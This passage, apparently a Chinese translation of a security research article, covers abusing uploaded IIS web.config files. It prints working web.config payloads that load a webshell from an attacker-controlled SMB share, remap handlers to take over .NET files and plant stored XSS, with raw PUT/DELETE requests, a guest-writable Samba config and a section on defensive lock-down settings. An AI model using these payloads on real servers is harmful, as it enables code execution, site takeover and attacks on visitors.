2.2. 接管现有/上传的.NET文件
下面的web.config可用于接管现有的Web服务文件:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <webServices> <protocols> <add name="Documentation"/> </protocols> <wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/> </webServices> </system.web> </configuration>
这将从SMB共享加载webshell.aspx文件,并在打开该文件夹中的任何现有ASMX文件时执行它。
此外,我们也可以像ASMX文件那样,重新映射和使用具有.master和.ascx扩展名的文件。上传具有上面两种扩展名的文件的可能性要高于其他类型的ASP.NET扩展,例如.aspx、.asmx、.ashx、.svc和.soap,不过,它们也可以使用相同的技术来接管.NET文件。
下面的web.config文件给出了一个可以接管具有各种扩展名的文件的例子:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <webServices> <protocols> <add name="Documentation"/> </protocols> <wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/> </webServices> </system.web> <system.webServer> <handlers> <add name="remap_asmx1" path="*.ascx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> <add name="remap_asmx2" path="*.master" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> <add name="remap_asmx3" path="*.aspx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> <add name="remap_asmx4" path="*.ashx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> <add name="remap_asmx5" path="*.svc" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> <add name="remap_asmx6" path="*.soap" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".ascx" /> <remove fileExtension=".master" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>
当SMB被阻止时,就很难应用该技术了,因为wsdlHelpGenerator元素的href属性中的文件扩展名至关重要。
2.3. 存储型XSS
此外,我们也可以设法创建存储型XSS漏洞。尤其是当其他方法无法奏效时,这一招就派上用场了。
在文献[1]中,作者为我们介绍了许多通过上传web.config文件使应用程序易受XSS攻击的方法。例如,当允许下载某些文件时,可以通过操作mimetypes轻松地将其用于XSS攻击。下面举例说明如何将一个.txt文件当做.html文件来运行:
<?xml version="1.0" encoding="utf-8"?> <configuration> <system.webServer> <staticContent> <remove fileExtension=".txt" /> <mimeMap fileExtension=".txt" mimeType="text/html" /> </staticContent> </system.webServer> </configuration>
在这篇文章中,又发现了两个ASP.NET处理程序也可用于实现上面的攻击。
2.3.1. Using StateApplication hanlder
StateApplication处理程序是System.Web.SessionState命名空间内的一个用于缓存的内部类,用户代码无法直接调用它,因为使用任意文本替换现有文件的响应可能会被滥用。
下面的web.config文件就是一个使用XSS payload来替换web.config的响应的例子:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers> <add name="web_config" path="*.config" verb="*" type="System.Web.SessionState.StateApplication,System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" /> </handlers> <security> <requestFiltering> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>
要想在缓存中创建一个生存期为525600分钟(最长时间)的存储型XSS,需要在上传web.config文件后发送以下请求:
PUT /testwebconfig/userfiles/web.config HTTP/1.1 Host: victim.com Http_Timeout: 525600 Content-Length: 25 <script>alert(1)</script>
然后,就可以通过下列方式来获取相应的内容了:
http://victim.com/testwebconfig/userfiles/web.config
然后,就可以通过下列方式来删除相应的内容了:
DELETE /testwebconfig/userfiles/web.config HTTP/1.1 Host: victim.com
为了通过同一个名称来创建多个XSS payload,可以将其他参数添加到URL,具体如下所示:
Web.config/payload1 Or Web.config\payload1 And Web.config?payload2
2.3.2. 使用DiscoveryRequestHandler处理程序
System.Web.Services.Discovery命名空间中的DiscoveryRequestHandler类可用于提供XML文件(实际使用的是其中的.disco文件)。它可能会被滥用来从XML响应中运行JavaScript代码。
如果可以上传web.config文件的话,那么也可以上传含有JavaScript代码的XML的test.config文件。下面的web.config就是一个这样的例子,其中test.config文件将用作XML文件:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers> <add name="web_config" path="test.config" verb="*" type="System.Web.Services.Discovery.DiscoveryRequestHandler,System.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" /> </handlers> <security> <requestFiltering> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>
test.config文件的内容如下所示:
<?xml version="1.0" ?> <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
需要注意的是,具有合法的DynamicDiscoveryDocument类型的XML文件不能用于XSS攻击,因为它将用于搜索当前目录中现有的Web服务。对于好奇的读者来说,可以参考下面的例子,这里的文件内容都是合法的:
<dynamicDiscovery xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17"> <exclude path="foobar"></exclude> </dynamicDiscovery>
3. 防御方法
第一道防线是使用白名单方法来检查文件名、扩展名和文件内容。这样的话,一方面可以过滤掉带有禁止的扩展名的文件,并确保文件内容的格式符合相关要求。 这方面的详细建议,请参阅OWASP网站[7]上的相关介绍。
另一个经典的建议是,将文件保存在Web目录之外或数据库中。当前,一种更加安全的方法是将上传的文件存储在云中,比如在AmazonS3中。对于这种方法来说,必须控制好相关的访问权限,此外,还需要确保实现代码中不会出现其他类型的安全漏洞,如不安全对象引用(IDOR)或路径操作等。
此外,使用适当的HTTP头部也可以防止跨站内容劫持攻击(请参见文献[8])。
我们也可以通过下面的安全建议来提高基于web.config文件上传的网络攻击的难度:
· 使用预编译的应用程序,这样能够提高攻击应用程序的难度
· 确保Web应用程序中的现有文件没有写入权限,包括web.config文件,尤其是上传目录之外的文件
· 监控网站上动态文件的创建,以检测潜在的攻击活动
如果您无权访问代码、无法修改文件权限或无法修改应用程序的工作方式,您仍可以通过在应用程序路径或网站根目录中使用web.config文件来缓解相关的攻击活动:
如果可能的话,请确保虚拟目录中的web.config文件已被禁用。 这一点可以通过修改applicationHost.config文件中的allowSubDirConfig属性来实现,该文件通常位于C:\Windows\system32\inetsrv\config(有关详细信息,请参阅文献[9])
不应该被子目录中的其他web.config文件更改的敏感web.config元素也应该受到妥善保护。这一点可以使用web.config文件中的allowOverride属性或锁定功能来完成(有关详细信息,请参阅文献[10]和[11])。我们可以将下面的web.config示例文件存放到父目录中,以锁定可能被上面介绍的攻击方法所滥用的某些部分:
<?xml version="1.0" encoding="utf-8"?> <configuration> <system.webServer> <handlers lockItem="true" /> <staticContent lockItem="true" /> <security> <requestFiltering lockItem="true" /> </security> </system.webServer> <system.web> <httpRuntime lockItem="true" /> <compilation lockItem="true" /> <webServices lockItem="true" /> </system.web> <system.serviceModel> <behaviors lockItem="true" /> <services lockItem="true" /> </system.serviceModel> </configuration>
4.幕后花絮
这一部分基本上涵盖了我在研究过程中为找到上述功能所做的各种工作。尽管这可能是这篇文章中最无聊的部分,但我认为它对想继续这项研究的人来说是有用的。
当web.config位于IIS应用程序的根目录时,最容易找到运行代码和命令的方式,因为这时可以直接通过相关文档来了解web.config的功能,或者参考我以前的研究工作。
然而,当一个web.config文件被上传到一个子文件夹(这是最常见的情况)时,探索新的利用方法就需要下更多的功夫了。
4.1. 必要条件和相关资源
除了时间之外,我最主要的研究资源就是ASP.NET Framework源代码、Visual Studio、Sysinternals Process Monitor、dnSpy、Telerik JustDecompile、IIS Web服务器、Kali Linux以及Google搜索引擎了!
我之所以选择使用Kali Linux,主要是为了拥有一个简单的、无需身份验证的SMB共享,并且具有相应的读/写权限。最终得到的可以支持SMB v3的/etc/samba/smb.conf文件如下所示:
[global] #workgroup = WORKGROUP #server string = Samba Server XYZ #netbios name = someRandomUbuntu #security = user map to guest = Bad User #dns proxy = no log file = /var/log/samba/%m log level = 1 server min protocol = SMB3 client min protocol = SMB3 client max protocol = SMB3 [Public] path = /tmp/smbshare/ writable = yes guest ok = yes read only = no browsable = yes create mode = 0777 directory mode = 0777 # force user = nobody
4.2. 编译器选项
滥用编译器选项时,我们曾经尝试参数放到一个文件中,然后通过@字符将其传递给相应的编译器(csc.exe、vbc.exe或jsc.exe)但是这无法实现命令注入,因为无法使用它来运行其他命令。
寻找命令执行漏洞时,还可以采取下面的两种方法,它们比本文中使用的方法要更简单一些:
· 编译特定文件时发生的代码执行漏洞
· 查找可以依次运行代码或命令的参数
其中,-analyzer选项对于C#编译器来说貌似很有希望,但是.NET执行csc.exe文件时会忽略该选项。
4.3. 探索其他的处理程序
正如在本文中看到的那样,识别可以通过web.config文件处理的所有HTTP处理程序是非常重要的一件事情。为此,可以通过搜索实现IHttpHandler、IHttpHandlerFactory和IHttpHandlerFactory2的类来完成这项任务。
以下是在浏览器中轻松查看它们的方法(感谢微软!):
https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,8437c9ce8bcd1bda,references https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,21cd2fd2bb57b501,references
应该注意,有时还可以从现有的实现来派生新的处理程序。然而,它们的行为通常是完全相同的,很少会出现变化。
4.3.1. Handlers limit in a subfolder
ASP.NET使用文件扩展名来检测文件的类型,如果无法获得Web服务所需的正确类型,则需要将新扩展名添加到buildProviders元素中。 但是,buildProviders元素只能由应用程序进行设置,否则会显示以下错误:
此外,我们无法在应用程序级别之下定义元素“buildProviders”。
这项保护措施是在.NET Framework中的CompilationSection.cs的PostDeserialize()方法中实现的,而不是在machine.config文件中实现的:
https://referencesource.microsoft.com/#System.Web/Configuration/CompilationSection.cs,904
另外,还有一些方法可以通过预定义的扩展名在IIS上执行命令,但本文中研究的重点是使用允许上传的那些新的文件类型。
我们可以在ASP.NET配置文件夹中的主web.config文件(其路径为C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config)中看到预定义的buildProviders列表。
4.4. 临时文件与已编译好的文件
通常情况下,临时文件和已编译好的文件通常会复制到.NET Framework的临时目录中,例如:
C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]
其中某些文件将被立即删除,对于我来说,监视这些文件的最简单方法是删除所有用户对于该应用程序所用临时目录的删除权限。这样的话,如果需要可以轻松恢复。
我们可以在那里创建文件,理论上说,我们可以替换该应用程序的现有文件,以便在服务器上执行代码。 在实践中,所有这些文件在其名称中都会使用随机值,所以,要想窃取这些文件,需要对其文件名进行相应的分析。我还没有研究.NET Framework何时会创建新的DLL文件,但从理论上来说,应该可以通过覆盖现有的DLL文件来接管应用程序任意位置的现有.NET文件。
5. 参考资料
[1] https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
[2] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis
[3] https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/
[4] https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
[5] https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/
[6] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically
[7] https://www.owasp.org/index.php/Unrestricted_File_Upload
[8] https://github.com/nccgroup/CrossSiteContentHijacking
[9] https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627
[10] https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides
[11] https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100)